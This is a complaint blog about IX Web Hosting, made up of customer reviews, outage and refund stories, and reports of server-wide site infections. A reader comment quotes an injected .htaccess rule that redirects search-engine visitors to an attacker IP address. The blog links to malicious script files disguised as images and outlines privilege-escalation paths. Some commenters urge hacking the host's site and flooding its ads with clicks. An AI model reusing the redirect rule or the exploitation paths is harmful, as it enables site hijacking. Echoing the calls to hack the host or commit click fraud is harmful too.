IX Web Hosting sites Hacked again

What IX Web Hosting claims to do to protect your site from getting hacked

At IX Web Hosting we use one of the most respected software’s in the world on network security, to make sure your site is secured and not hacked, and we do this by performing 3 main task.

• Monitoring Services
  This regularly checks your website against various blacklists, including Google, Firefox, Norton SafeWeb, and McAfee SiteAdvisor. It’ll instantly notify us if the site is ever placed on a blacklist.
• Discovery Services
  This determines if your website has been infected with Malware by parsing through all your site’s files and discovering any malicious content.
• Recovery Services
  This automatically filters out the malicious code on each infected web page and corrects your files so that your visitors will not be exposed to anymore Malware. It helps to instantly remediate problems without disrupting experience of your visitors.

If you believe that, you probably believe elephants can fly!!!

The Reality

IX Web Hosting is STILL very insecure, and the above statement that is posted on their site is just another example of how IX Web Hosting decieves their paying customers… Paying customers like these below, who in most cases are just trying to make a living online.. If only they had not chosen IX Web Hosting to look after their sites.

ALL these sites are hosted at IX Web Hosting, and have been HACKED.

Click on image for larger preview.. links to sites are posted below each screenshot.

www.basden.us

www.thetillers.net

www.mcintyrefamilyreunion.com

www.devenports.com

www.computingfromthefarm.com

IX Web Hosting DOS attacks on a weekly basis

Everyone in the industry knows how slow the servers are at ixwebhosting.. Yes, it is true that the servers are drasticly overloaded, and outdated,  and that slows things down. But another reason why almost all ix hosted sites have an average 68% downtime is because their servers are constantly under DOS [ Denial-of-Service ]  attack, bringing down 1000’s of  customer’s sites.

If this is not bad enough, things get worse if you happen to live anywhere in Australasia, ‘cos ixwebhosting is blocking IP’s  from this region… But at least they guarantee a 99.99% Uptime… hahahahaha 

IX Web Hosting worst host ever

“you may come to know what a brain seizure is really like after you’ve experienced the comical and incredibly maddening world of IX Web Hosting Customer Support.”

Posted by **** *****  Dec.26, 2009 

With one of the best pricing plans, and seemingly unlimited capability, ixwebhosting.com fails to live up to any claim of service dependability. Uptime? In the past 30 days, the server hosting my websites [not associated with thedealis.com] has been down 4 times. This downtime typically lasts 3-6 hours.

Typical response from ixwebhosting tech support: Sorry!

This is the first time I have encountered this in the approx. 5 years I have used the service. I switched to different servers last month. Tech support says upgrades [blade servers] are coming in January and that ixwebhosting will “redeem themselves” with this update. I hope so!

I can’t recommend this service to anyone. Had you asked me a couple months ago, I would have raved about the service. I have not had an issue with billing or tech support previously. Is tech support located in India? Possibly. Seems lately, I reach Jahuud Hussein each time I call the 800#.

These are the issues I have encountered. What other issues are lurking within ixwebhosting? If you have had issues with ixwebhosting services, or can recommend a better hosting service – let me know!

I did find this quote from one [former] ixwebhosting customer on the web “you may come to know what a brain seizure is really like after you’ve experienced the comical and incredibly maddening world of IX Web Hosting Customer Support.”.

Original artical can be found HERE

Host Gator leaves IX Web Hosting in the Gutter

Host gator leaves IX Web Hosting in the Gutter

Just compare the very high ratings of Host Gator with the Embarrassing LOW  ratings IX has.

OVERALL RATING : Host Gator 95.29 :  IX Web Hosting  35.13

UPTIME & RELIABILITY  : Host Gator 9.73 :  IX Web Hosting  5.30

SERVER & CONNECTION SPEED : Host Gator 9.49 :  IX Web Hosting  5.13

TECHNICAL SUPPORT & KNOWLEDGE :  Host Gator 9.27 :  IX Web Hosting  3.62 

CUSTOMER SERVICE & BILLING : Host Gator 9.33 :  IX Web Hosting  4.86 

VALUE FOR MONEY : Host Gator 9.40 :  IX Web Hosting  4.87 

 

Luckily for IX Web Hosting  SECURITY issues were not rated, But  a rating of  3.62  for TECHNICAL SUPPORT & KNOWLEDGE  !!!  It’s time for IX Web Hosting to pull the plug…  These figures say it all…
AVOID IX WEB HOSTING  

This site WAS hosted by IX Web Hosting and was hacked 5 times

Hahaha.. I know it is really not funny, but sometimes you just have to laugh…  The above screenshot is from www.examinarse.com  Seems like the owner packed his / her bag and left in a hurry..

While I’m here, I might as well post a few recent comments from HAPPY IX CUSTOMERS.

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I hope Google ranks this website in their top search results for anyone wanting to know more about IXWebhosting. I had been with that webhost for more than 4 years and changed all my sites to a different host just last week. IXWebhosting is the most poorly managed, technically incompetent and frustrating company I have ever had the misfortune to deal with.

Why have I been with them for 4 years?
Their webhosting plans were at the time and still are pretty cheap when compared to other competitors. But its true, if you throw peanuts, you’ll get monkeys. You are ok till the time you have a website with only static (html pages). That’s what I had for 2 years. The moment you have a dynamic site, have anything to do with databases, use pages in asp or php… God save you. I’ve had nothing but trouble for the remaining 2 years pulling my hair out with every trouble ticket raised.

Customer Service
Its the most slowest, incompetent buffoons I’ve ever interacted with. Every ticket raised takes a minimum of 14 hours to be verified. Their typical replies are “everything’s ok at their end”. They do not understand your query, nor can they understand any technical issues.

Spam-
I lived with spam in each of our mailboxes for all the time I’ve ben with IXWebhosting. Spam is like its brother. Besides having issues with our mail disappearing from our mailboxes (their backup could only restore some of it as it was infrequently taken), I had to put up with tons of spam. At the time of writing this, I believe they have made the web access to the email accounts over https, but still, my experience with them was ghastly.

Server Security-
My websites were hacked many a times. Their servers are easily vulnerable to anybody. I will rate my expertise with networks and security at advanced. To test the security I have hacked into my own hosting webserver and seen the list of domains, their entire contents by simply installing a ridiculous script. I raised this issue in a trouble ticket and the response was.. you guessed it..”everything’s ok at their end”

Their famed easy to use preloaded scripts (Easy Apps collection)-
It is user friendly to install, I’ll agree. But every one of them is completely outdated, buggy to customize and of course vulnerable to hacks. Their excuse- Its the entire collection of scripts that they install when they update the server software (maybe years before). The scripts in them cannot be changed or upgraded.

Final Comments-
If you have a simple website with a couple of html pages and you don’t mind spam, if your wesite is hacked or defaced, its good value for cheap hosting.
Otherwise, Avoid Them Like The Plague… as someone else wrote in here.

I am not affiliated with anyone or anything from anywhere and all the experiences above are my own.
Archie H

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We have been using IX for a long time. First thing that happended was that they allowed my EX-Wife access to my account after we were divorced because she has paid by her credit card at one point for one domain name. They changed the admin panel and allowed her full access to everything because she did not pay for her domain and called them! MORORNS! We have a pro business account and they allowed her access to customers account info, OMG what a night mare! Finally after getting the police involved they fixed it. Now 3 out of 7 of our accounts have been hacked… We have not done or changed anything, in fact the accounts that have been hacked are just place holders for domanins… I have asked it to be fixed from backup 4 times so far and as of yet nothing… I am just in the process of moveing everything to a new local box and say GOOD BYE loosers!
Michael

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Server vulnerable to hacking, infected our site, IX Web Hosting refused to acknowledge or address, arbitrarily shut us down. Luckily, we had just completed set up with an alternative server and this didn’t cost us the significant downtime, money and trouble it could have. AVOID them like the plague!
Dayl

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In the beginning (up to a year ago) everything was fine. Now I have had so many problems that today I have changed my hosting company and left ix-webhosting and went to BlueHost.

My problems:
1. extremely slow server response (average response to a simple html page over 5 seconds). Regularly browser says: no server response. My customers are complaining. Maintaining my blog is almost impossible
2. ftp regularly does not work (complaint by server: too many clients, but I have just one ftp connection open)
3. average response time of trouble ticket about 24 hrs
4. tremendous problems in upgrading from php4 to php5 (I had to change ix-webhosting servers), without any help from them. They offered me help but that would cost me over 200$
5. their mysql server is slow

When I complain to them they tell me these problems are temporary and that they are about to improve it all.
Ad

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Once again I have had a horrible experience with IX WebHosting. Here is a list of issues that I exprienced over the last year of being with them:

1. The password to the control panel keeps getting reset and I know for a fact that only a select few have access. Any changes made by those few are logged and disseminated to the rest. When I ask I am made to look like “what’s the big deal?”

2. They NEVER return calls and almost never update tickets except to close it and say that it was your fault. They refer you to the “system admin” who is a ghost as far as I am concerned then are quick to tell you that they can’t do anything else to help you.

3. Press as you might the cannot suggest when the problem can be fixed. It is like they think that your business and clients that are affected by problems don’t matter.

4. Their first level support are unskillful googlers who waste no time in presenting irrelevant rubbish explanations that clearly shows that they have missed the basics of training.

Most Recent Exerience:

Unfortunately they host my mail (haven’t gotten around to hosting my own as yet). One of my customers suddenly cannot send me any mail from their domain, at least I no longer receive it on my domain hosted with IX Webhosting.

My customer had a recent SPAM issue that was resolved however they were not blacklisted. All this time I was receiving mail fine. However a while after the issues is resolved I cannot receive any mail from them.

I try chat support who quickly tells me that I need to call in to report the problem.

ok I call and some guy is trying desparately to convince me that there is a problem with the MX records of my client. And even though I tell him that mxtoolbox gives me a clean report and also that my hosted mail is the only domain that is not receiving mail from my client along with other information he refuses listen. Eventually he gets tired and tells me that he has to get a system admin to call me back.

24 hrs later no call from any admin and I decide to log a ticket myself and describe the problem – no response.

I call back again and a young lady informs me that the issue was left untouched, whatever that means and puts me on hold after every question I answer. She then routes it to the “correct” queue and pomises me that I will receive a call.

24 hrs later no call and no update other than hers that says the call is on hold.

I update the ticket to ask what is going on?

12 hrs later no response so I call and was informed that since I updated the ticket to ask a question it was reverted to the end of the queue. Apparently I was punished for quering the status on my issue….

Another young lady can give me no indication as to an estimated resoution time or at least response time.

I ask for her supervisor who refused to give me his name but was quick to tell me that I would have to wait until the admins got around to looking at the problem.

He didn’t think it was reasonable for them to at least update the ticket and was quick to tell me that “we are just the phones” and that they couldn’t escalate beyond redirecting my problem to the admin queue. They would get to it whenever they can and I would have to wait…”there are other customers ya know?” so I have absolutely no idea how long I will be in that queue. His entire tone suggested that he had worked a tripple shift and was tired and grumpy or he simply couldn’t be bothered. Meanwhile I embarasingly have to tell my customer that I am in the process of moving my mail services which after this I definitely will.

It really upsets me when companies like this get away with such horrible service.

The least you owe your customer as a service provider is a timely and honest update(s) especially when there is a problem. Lack of communications leaves people to assume the worst and suggests that the customer is not important. It does not matter where the fault lies – you are providing a service and it should be your obligation to protect the reputaion of that service by open communications to the client at all times. As an IT consultant I can personally attribute the retension of my business not to my knowledge as much as to ensuring that my customers are always informed and have open access to me. Many times it has been my saving grace during the few hiccups I have made over the years.
Anson

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Ordered web hosting form them on Thurs. pm, finally setup on Fri. However, could not upload web since FP extensions were not installed; I installed them from the panel. Long story, several calls to tech support, they can not get the FT issues resolved; moved up to admin. Called over the weekend and told it would be 24 hours…I had to wait in the queue. On Monday afternoon I was told give them another 4 -5 hours. I cancelled later that night about 10 pm…issue not resolved. Tech support was useless. They did offer 2 months extra time if I stayed. After 30 days I would have los the $$; they did refund my $$. I had used them for a couple years in the past without too many issues, site did go down several times. Not recommended.
Rick

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And the list goes on and on and on, but that makes good posting for another time.

REAL ix web hosting customer reviews NOT paid and misleading reviews

EVERYONE  knows that IX web hosting pays for high listings and “Praise Reviews’ [ read article HERE  ] and their ” Affiliate Army ” is told to SPAM boards trying to lure people to use IX Web Hosting. Do not be fooled by the low prices and  Unlimited Everything, Do NOT become a statistic, because like 1000’s before you, you WILL regret it.

Just see for yourself what REAL Customers that have NOT been paid to post positive comments about IX have to say:

http://www.webhostingreviews.com/ix-web-hosting-reviews.htm

AND

 http://www.webhostingstuff.com/review/IXWebHosting.html 

AND Another one

http://www.web-hosting-top.com/web-hosting/web-hosting-top.ixwebhosting.com-reviews

You will start noticing “Positive” reviews being posted by the Paid Affiliate Army.. but they always stand out as being Fake.

Numerous sites on IX servers NS3 and NS4 INFECTED

During the last 4 days Numerous People are reporting their sites are infected, and customers are being re-directed to a Russian site.
So far ALL the sites reported are hosted on NS3.IXWEBHOSTING.COM and NS4.IXWEBHOSTING.COM.
If your site is hosted on these servers, OR possibly other servers, you should check your website, by using a SEARCH ENGINE. DO NOT go directly to your site through your search bar OR shortcut, but use a Search Engine. The results are being re-directed. It will also be a matter of time before these sites will be “Blacklisted” by Google and other search Engines.

Feel Free to contact IX Web Hosting about this matter, but they will only blame you for their issues, and  lack of  knowing how to treat their customers with respect.

Please send us a message if your site has been comprimised.

IX Web Hosting, .htaccess Redirect, SQL Injection and Banned by Google

This week has been a complete disaster for 1000’s of IX Web Hosting’s  customers.

A new wave of the .htaccess injection is affecting 1000’s of sites, but things just get worse and worse, Google is flagging sites hosted by IX Web Hosting because of the sites being redirected to infected sites.
Some customers sites are even getting “Splashed” by Google with “‘Reported Attack Site’ ” can you imagine spending YEARS building up a reputation and then having your site and your reputation  Destroyed because of a hosting company that after 10 MONTHS!! still cannot and has not fixed this security issue…

10 MONTHS!!!  IX WEB HOSTING… You should be ASHAMED!!

Here is an example of someone who has spent YEARS working hard to build a (basic) website and a reputation, and all was lost…

This is the third time I’ve requested review and had it result in a continuation of the ban. I’m a simple artist trying to make a living while going to school. My reputation is being destroyed by this, as well as my art. I’m not a programmer but I know my html that I wrote for my site, and it’s ridiculously simple. All the 3 pages, even though it was said there where 5 pages, that were listed in webmaster tools were the same exact html files I wrote. These were:
 http://www.****art.com/ADAbout.html
http://www.****art.com/ADBreedKirin.html
http://www.****art.com/Itemhtml/directions.html     { Links killed by neverix}

I’ve downloaded and looked at the code of each of these, finding nothing wrong with them.
I also have called my Host, IXwebhosting, who crawled through my site and looked at my files. They said they couldn’t find anything either and that there seemed to be nothing wrong. They also said the ‘Reported Attack Site’ html page google slapped on top of my index wasn’t showing up for them. I had posted once on this forum before with the question: ‘WHERE is the malicious code showing up,’ and I was told how to submit a review. Google is ruining my reputation, my site, my client base, and wasting my precious time. I don’t know what to do anymore, because nothing I have done seems to have worked. I re-uploaded my site, changed permissions to 444, removed any kind of php and unnecessary files, changed my two user passwords to more secure ones, and everything else I’ve mentioned in the above text. I don’t know what else to do. I’ve spent years establishing that site and it’s reputation…years now wasted and ruined.  Please someone help me.

I hereby invite IX WEB HOSTING to send me their side of the story about this issue, I will post it on this blog for everyone to read…  It’s only fair to hear both sides of the story.

And NO, this is not just a “One Off”  see 1000’s more : http://www.google.com/search?hl=en&safe=off&q=%27Reported+Attack+Site%27+ix+web&start=0&sa=N

 

EASY Access to IX Web hostings Server ROOT

From a Unhappy  IX  customer

I was beginning to think I was crazy. My site would get hacked and I would change the password. This would keep happening over and over. Yet every time I would call in they would say it was my fault. Well today I discovered that once again my site had been hacked as well as all the other domains in my userid for them.  While going through one of my sub domains I found a hackers control panel which I downloaded and took a screen shot. I even looked around in it. I realized quite quickly that I had server root access and I could see other peoples files like I was on a regular computer. This control panel seems to have it all. Anyway here is a screen shot for all you who wonder what is going on:

I have marked my info out to spare me as well as the folder I was browsing. But this control panel seems to have any exploits you want on it with very little effort.  It even has a handy self kill button which I used. Of course I am sure they will be back and hack right back in. Meanwhile I have to look into another host.

CLICK ON IMAGE FOR LARGER PREVIEW

 

IX Web Hosting offers 100% 30 day Money Back Guarantee

First of all, lets break this down for the wise folks at ix web hosting that follow these rantings..

100% ….. 30 day(s) …. Money Back ….. Guarantee 

Sounds good, but is this really true??.. or are the small letters hidden in some dark corner.. Well we found someone that gave it a try, and here is the story…..

PACKAGE :  Business package incl. 2 FREE domain names

PRICE PAID: With their end-of-year special, I even got a special price ($17.27 for three months, with a year agreement)  and paid $95.40 via credit card for a year’s worth of service.

CANCELLED : on day 30 ( the last day)

( needed for 100% refund) REASON OF CANCELLATION :  I was blindly suckered in by your outrageous claims regarding the quality of your service. In the last two weeks I have experienced no less than *THREE* outages due to database issues. I’m going back — no, *RUNNING* back — to a former provider. They  provide better service, and at a better price to boot. Please terminate this account immediately. Monetarily, rape me for whatever your contract allows — I don’t care. At this point, I’d just about pay you to be done with you. Good riddance. [name witheld]

So, they refunded you the full $95.40??

hahahahahaahaa!!!

As mentioned above, IX Web Hosting’s package came with two “FREE” domains, which I promptly registered. They were stupid domain names that I’ll probably never use, but hey, they were “FREE”, right? Uh, no. Of the $95.40 I paid to IX Web Hosting, they credited me :

• $57.45 “for unused but prepaid period of Business Plus”
• charged me $18.21 for the first domain
• charged me $18.21 for the second domain

• refunded me a grand total of $21.03

WHAT!!!!  $21.03!! … but that is just 22% of $95.40

Now that is what we call DECEIVING YOUR CUSTOMERS!!!

 

Helping IX Web hosting secure their servers.

Now we ALL know how rude, stuckup, obnoxious and un-caring the majority ( not all, some deserve respect) of IX Web Hosting’s Support are, so the following REAL LIFE examples will not come as a surprise to most of you.

These 2 examples were reported to IX Web Hosting in Jan. 2008, 3 months BEFORE the May disaster that led to 10’s of servers being seeded, and up to 200,000 sites infected… Now let me be clear, that these examples are probably not related to what happened, but the OBNOXIOUS mentality of IX Web Hosting definitely has!!…

Please note, that these issues have now been fixed ( otherwise I would not post them here) 

ISSUE 1 :

” – Using phpshell and runing the chsh program on server side
the users are able to change their default shell from /bin/nologin to any other shell and get
access to the IX servers by ssh.
I hope my effort to inform you about the flaw will you not understand as a malicious activity. ”

 

IX’s RESPONSE :

” – Although pointing out that minor security flaw wasn’t viewed as malicious activity, please understand that any other attempts to hack into our system will be viewed as such, and it will be treated according to our policies. ”

 

?? !! What not even a Thank You!!??… Nope.. wayyyyy to obnoxious for a Thank You!!

ISSUE 2 :

The default installation of IX’s “click and install” E-commerce software allows read and write rights to users directory to anyone on the internet. You probably  have lot of affected users..

( No state of the art hacking needed. There is a nice php admin interface without password. OK, I know what is in your mind: You will notice at the first login that nobody asked your admin password. The trap is that the admin interface is linked only in to the cPanel and when you access it you have the feeling that the password authentication is missing because the authentication is derived from your cPanel access (as in many other applications and settings in cPanel). After all, a hacker can easily upload a malicious php file and execute some nice exec() calls affecting the rest of your domains hosted by IX webhosting.)

IX’s Response : ( you’re gonna luv this one!!)

“If you don’t like it, don’t use our Easy Install products.”

Ooooohhh Yes, it is good to be appreciated!!

Credits to ZolTan for the info



 




 

Thousands of IX Hosted sites offline for +35 HOURS!!

One of IX Web Hosting’s  EXTREMELY OVERLOADED Server crashed a few days ago, leaving thousands of customers sites offline for …… more than 35 HOURS!!… Not minutes, HOURS!!.

When we contacted Support, we were told ( lied to) that the server was down for maintenance, and to be patient (hahaha) things would be up and running within an hour!!.. after the SEVENTH phonecall (28 hours later) we were finally told that the server was fried  and backups needed to be transfered to the new server..

AGAIN another example of how IX Web Hosting LIES to their customers as for long as they can get away with it.. When they have been rumbled, and have their backs to the wall, only then do they admit to the truth!!

This is going to be pretty tricky for IX Web Hosting  to keep to their 99.99% uptime guarantee

:: EDIT May 25th ::

We just recieved information from an insider at IX Web Hosting, that for months they had KNOWN issues with the server that fried… but the issues were ignored.

Just goes to show how much they care..

IX Web Hosting, Script Injection and banned by Google 2

So many people being banned by Google, and cannot find the source of the Injection..

 I have previously posted on this blog WHY you cannot find the code.. Because  the code is NOT on your page. The code is, and can be anywhere on the server ( I have posted 3 links to the code that was hidden as a .jpg)  The code added to your site is actually an Iframe, so what you should be looking for is a small snippet of code that calls the script. ( check your Config, Header, Footer, Index.php etc.. ALL pages that get called on every page

Yesterday someone contacted me with this issue, and that person was also banned by Google, and had spent weeks trying to solve this problem.. They  finally found the code in the CONFIG File . ( thanks to this blog)
The site is now clean, but it will only be a matter of days before it is injected AGAIN!!

Here is the post I posted in December last year:

Hundreds of  IX customers, are contacting me to ask about the Injected script ( posted in a previous post) they are asking me HOW to remove it, because they cannot find it…

The Reason they cannot find it??

Because of a MASSIVE SECURITY ISSUE on IX WEB HOSTING’s SERVERS!!.. the script is NOT actually put onto any of your pages, the script is actually hidded somewhere on the server..

So far I have found 5 “seeds” .. These are the codes that are appearing  in  over 100,000 sites

( These have now been removed by ix web hosting but as you can see, the actual file is well hidden and disguised as an image. REMEMBER, this is where the files were stored that YOU can see on YOUR pages )

• http://on3photo.com/onlinestore/photos/106-firefighter_foto/1147-gustav_deployment/di_img_0002.jpg 
• http://adventuresinstorytelling.com/modlogan/m_usage_200603_001_008.html

Remember to view the “source code” in the above links.

Very interesting is the second “seed” that is actually in an IX standard “modlogan” folder, that is standard a chmod 700 .

Secondly it should not be possible on any shared server to inject this script onto EVERY file on that server. The fact that this is happening means that IX web Hosting has not got a clue how to protect their servers, and customer web sites. 

So as you can see, this script IS  NOT actually put into your script, that is why you cannot find it.. HOWEVER, somewhere on your site, there is a bit of code  ”Calling” this script, and that appears in your pages.
Check  ALL the pages that get called for every page, ie. header, footer, index, config, sidebar etc. 

So far I have evidence and proven that the following IX servers running the following Database’s  are seeded:

• mysql33.ixwebhosting.com
• mysql15.ixwebhosting.com
• mysql27.ixwebhosting.com

If you know of any others that are seeded, please let me know.

Hope this helps

:: Some people have contacted me to tell me that the Injected Script is ( also ) injected into the database, and in some cases a new table is created.
I have checked 9 databases of infected sites, and I have not yet come across the script in my Database’s, so I think that this might be “script” related, maybe that some scripts such as PhpBB2 allows for this to happen, so I recommend searching your Database for the script as well ::

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This issue has now been going on for more than 10 months…. 1 year this May.. Will IX Web Hosting be celebrating  this milestone?

Advertising and Root@IX

Recently I have been contacted by people / companies wanting to advertise on this blog because of the high PR, in 3 cases I was offered a very generous sum. However, it is not, and has never been my intention to make money from this blog, and I will never use advertising on this blog  

This blog is intended as a warning, and hopefully help / prevent  innocent   customers from having to go through what I myself  and 100s of 1000s others went through and are still going through with ix web hosting.
As you can see, there is no advertising on this site at all, and I will never recommend another hosting company on this site.

Also, I would like to thank Root@ix,   (s)he has been extremely helpful and willing to help and listen to people posting on this blog with issues, and I have personally sent a few people who contact me by email with issues to him directly, and each time he has helped these people.
I must  say that it is big shame that the people I sent to him, had already been through the normal IX Support procedure, and got nowhere!!..
I do not post peoples details /  Email @ , but you can find Root’s details on this blog somewhere in the comments, and I do recommend contacting him directly with issues that cannot be solved through the normal IX support.
I’m sure he / she will do his / her best to help you.. I just wish everyone at ix web hosting was as helpful and open as Root@ix  is.

Thank you Root@ix

IX Web Hosting’s Reviews Feb. 2009

Yellow, 28th 2009f February, 2009

Glad I found this site, was minutes away from purchasing a buisness account. I will now look elsewhere.

Julie, 27th 2009f February, 2009

I think that the likes of Yahoo, Hotmail, Live Mail and Gmail are blocking Emails being sent from web sites hosted by ix web hosting. I had to create a Yahoo email account to snd emails to all the above, because if I send emails from my website email address, no one using a server based email provider such as the one mentioned above, never get the emails I send.. Very unprofessional, I have contacted ix 5 times now, but they just give me a boiler plate answer, there is nothing wrong.

mark, 26th 2009f February, 2009

Hello, What I suggest is that everyone who is having problems with your server, click on their google ads… show them what it feels like when tons of people click on your ads and the server is down. ixwebhosting.com has really bad problems with their servers. My company already moved off of ixwebshosting.com because of the constant server problems we have experienced.

Mike, 26th 2009f February, 2009

Ixwebhosting.com servers are really poorly run and are often down and on error. We made a mistake trusting ixwebhosting.com. Our servers has been down almost 6 times per hour, each outage lasting about 2 minutes.

tommy, 25th 2009f February, 2009

I would like to start a web hosting company and take all your money and then shut down all the servers!!!!! mu ahahahahahahaha

elawcase@gmail.com, 24th 2009f February, 2009

Hello, we continue to receive complaints about ixwebhosting.com. Should we get enough support, we can launch a class action law suit against ixwebhosting for advertising what is not true of their uptime. You can contact us at elawcase@gmail.com.

floristwide.com, 24th 2009f February, 2009

Hello, I cannot believe how terrible the servers are at ixwebhosting.com. It goes down everyday at least 5-10 times. Probably more than that but we catch about 5-10 times a day the outtages. We moved most all our important sites off the server NS13.ixwebhosting.com and NS14.ixwebhosting.com. However, some of our sites are still hosted on this server. You can check it to to see the performance. Our site is http://www.Floristwide.com and you can test it using alertra.com. You will see that every so often the server will go on error. It’s really frustrating and Ixwebhosting always blames it on other shared hosting sites which is not the solution we want to hear. I have no idea why ixwebhosting is rated high on this website but probably because they pay or promote this ranking. Really frustrating!

Harry, 24th 2009f February, 2009

Recieved an email today from a client saying that if you use the search option it shows an error, spent ages trying to find what the problem was, I then compared the Database Tables with the original, and TWO tables were missing, this site has not been updated for well over 5 months, and it was working fine at least up until 2 weeks ago. ix wehosting denies they had anything to do with the sudden deletion of the tables.

Ian, 22nd 2009f February, 2009

3 days.. and the server is down…

Brice, 20th 2009f February, 2009

I have 3 websites hosted on ixwebhosting and I have had nothing but problems. They upgrade things and break you and do nothing to fix it. Their support is a joke, sometimes taking days to get problems resolved. I am actively looking for another provider. IXWebhosting is awful.

David, 19th 2009f February, 2009

A note about the .htaccess injection. When it happened (Early December of last year), ixwebhosting sent this email to clients:”This is a self replicating virus which is found by visiting well-known search engines. When you click on any link it may redirect you to a fake Anti-Virus 2009 website which appears to scan your system and then asks you to download the software. Once downloaded and installed it begins displaying pop ups on your desktop. At this time it collects your FTP user name and password from your own computer and uses that information to upload an exploited file named “.htaccess” to your website. Any visitors to your website will then be redirected to the fake anti-virus website.”This is not true. It’s an insult to say that I (an experienced internet user) actually downloaded the fake anti-virus program. Access to our FTP accounts was not obtained from our (the clients’) own computers, it was a security flaw on the server end. Just today ixwebhosting sent an e-mail saying that they changed everyone’s ftp passwords, obviously to cover for some more security flaws on their end.

Walter, 17th 2009f February, 2009

Very slow. vulnerable, crappy webhosting with 10-15 seconds page generation time.

David, 17th 2009f February, 2009

I have been with ixwebhosting for about a year and a half. I have had no problems except for the one time when my site (and possibly all the other ixwebhosting sites) were hacked. The .htaccess file was replaced with this:RewriteEngine On RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC] RewriteRule .* http://87.248.180.89/topic.html?s=s [R,L]It didn’t hurt me because my website is private and not indexed by search engines anyway, but this is very bad. I will not be staying with ixwebhosting for the long-term. I have had no problems with tech-support though, I’ve used the live chat two or three times (with trivial issues mind you) and have not had to wait more than 10 minutes.

Chris from BBTA, 16th 2009f February, 2009

I see IXwebhosting’s response below… do not contact us it wastes our time… WOW. What a statement. So your customers inquiring about the status of their server that is down and they are most likely losing money and customers is a waste of your time. The is just plain out crap. If you dont care about your customer’s, customer’s then you dont care about your Customer.I have been with IX for over two years, and have a multitude of websites with them. Everything was great for the first, 10 months or so. Then they moved locations, SQL servers go down, or are extremely slow to respond, dns errors, internal server errors, failure to connect to web server errors, errors errors, down, slow, error, down slow. Catch my drift.I am in the market for a new host as I have finally grown tired of daily support tickets, phone calls and chats. Someone point me in a good direction and not godaddy i dont like them either. I am looking at dreamhost but not sure yet.

Laura T, 15th 2009f February, 2009

Support is so frustrating, and useless, 3 days I used the chat support to ask why my pages were suddenly getting a syntac error, I had not made any changes for months, I was told to submit a ticket, so I submitted a ticket 2 days ago, FINALLY today after 2 days I get a response telling me they had recieved my ticket and that it was forwarded to the correct department !!!!??? WHAT!!?? This is the final straw, after reading all the below complaints, and also all the stuff on http://www.ixwebhostwarning.wordpress.com I am moving my sites away from ixwebhosting

Rob Stallard, 15th 2009f February, 2009

The actual service is adequate. However, they fail to deliver on technical support. On two occasions I have waited 2 days for just an initial response. They are unhelpful on chat – they just say the problem will be looked into soon – and don’t do so. Support is a network of Russians as far as I can tell. Unapologetic and unhelpful and very frustrating as there is no way a crucial techincal issue will get looked into in a timely fashion.

Chris, 13th 2009f February, 2009

My SQL servers are down yet again. If you talk to the online chat they will tell you nothing is wrong. IF you submit a ticket they give you a BS response. However I just called them and was honestly told (Spoke to a real tech support person not “Jeff” in freaking Pakistan) that they had a hardware failure last night and they dont know when it will be back up. And that 501 has had some issues here lately but with the replacement of the hardware this should be fixed. We will see where this leads. I dont want to change host because it is a HUGE PITA. But if I have to I will.

Ex IX customer, 12th 2009f February, 2009

Could somebody please hack the .htaccess file on http://www.ixwebhsoting.com. Please set it to divert everyone to a decent hosting company!Funny how their own site never gets hacked! Please, please, please… Somebody please hack their site to see how they like it.

Wallace, 12th 2009f February, 2009

All site is down now for ixwebhosting.You try go their website which down now.My website is down also.After see all your comment,i am worry now.Don’t know when will be up again.

Shira, 12th 2009f February, 2009

We’ve spent the last week uploading and creating database on our new IXWebhosting account. BIG MISTAKE. All of the database sites give random server connection errors more often than not and the server service in general is extremely unreliable. The online “Tech support” chat is a complete joke. Not once have they been able to resolve the problems we’ve communicated, and we have to chat them about 5 times a day. We’re closing our account today before serious damage is done.

Pete, 11th 2009f February, 2009

AVOID like the plague!!! Every one of their web servers have been hacked in the last few months. If you have any sites with them, it’s just a matter of time before your code is injected with viruses and phishing pages or completely diverted to a scam web site. If you have an account with them, do what I did… Get the hell out now before all of your sites are blacklisted. Try http://www.a2hosting.com. They cost a bit more but you get what you pay for.

Chris, 10th 2009f February, 2009

From all the research I have done over the past months, i have never seen so many angry people and complaints as the ones complaining about ixwebhosting IX is a lost case.. AVOID

FUCK YOU IX, 10th 2009f February, 2009

I’m so sick of the feeble excuses ix web hosting come up with. I the past week I have called them at least 3 times everyday because so far my sites have been down on average 3 hours a day. Everytime I get to hear how sorry they are, and that the issue will be fixed within 20 minutes!! It really is time to get a class case together and sue IX for compensation.

Erik, 09th 2009f February, 2009

All 12+ of my domains were down much of Feb. 7, 2009, and since at least the afternoon of Feb. 8, 2009, they’ve been down again, and all of my sites’ files are totally gone. They’re “still working” as of this morning, Feb. 9, 2009, but they cannot say much more. Time to move on.

Milano, 09th 2009f February, 2009

Today I got a call from a friend telling me my sites contained a virus, I googled my site, and when I clicked on it my Anti Virus blocked it with a warning, I then checked all my other sites and they all contain the same script. I called ix, had to wait 25 minutes, probably a lot of customers with the same problem.. I was told very bluntly that it was a well known issue with WordPress, I have been using wordpress now for 4 years, and always use the latest stable version, I contacted WordPress, and they assure me that there are no known issues with WordPress. I then called ix again, and this time they blamed my computer, saying it is infected, and that I uploaded the virus. IX is an absolute nightmare, and I am moving all my sites away from them, and I will file a complaint with the BBB

Herman, 08th 2009f February, 2009

Last week I had a phone call from a customer why I had not sent them an Email, I reassured them that I had, and that I would resend it 2 days later completely pissed off because they still never got the Email. So I sent an Email to one of my own Email accounts.. I never got it, so I tried sending it to another 5 Email accounts.. out of those 5 emails I got just ONE, but it took TWO days to reach me. I contacted support on the chat, and he told me there was a backlog of mail because of a “Spam Filter” , he told me to create a Ticket which I did, I sent a ticket on Friday morning, and Today ( Monday) I still have not had a response. So to break it down, ( this is what I know for certain) I have sent 8 emails, and only recieved ONE 2 days after I sent it! This is absolutely absurd, now I do not know how many people I have sent Emails to that never got them. Do yourself a big favour and stay away from ix web hosting, they just have not got a clue, or they just don’t care, or both.

elawcase@gmail.com, 07th 2009f February, 2009

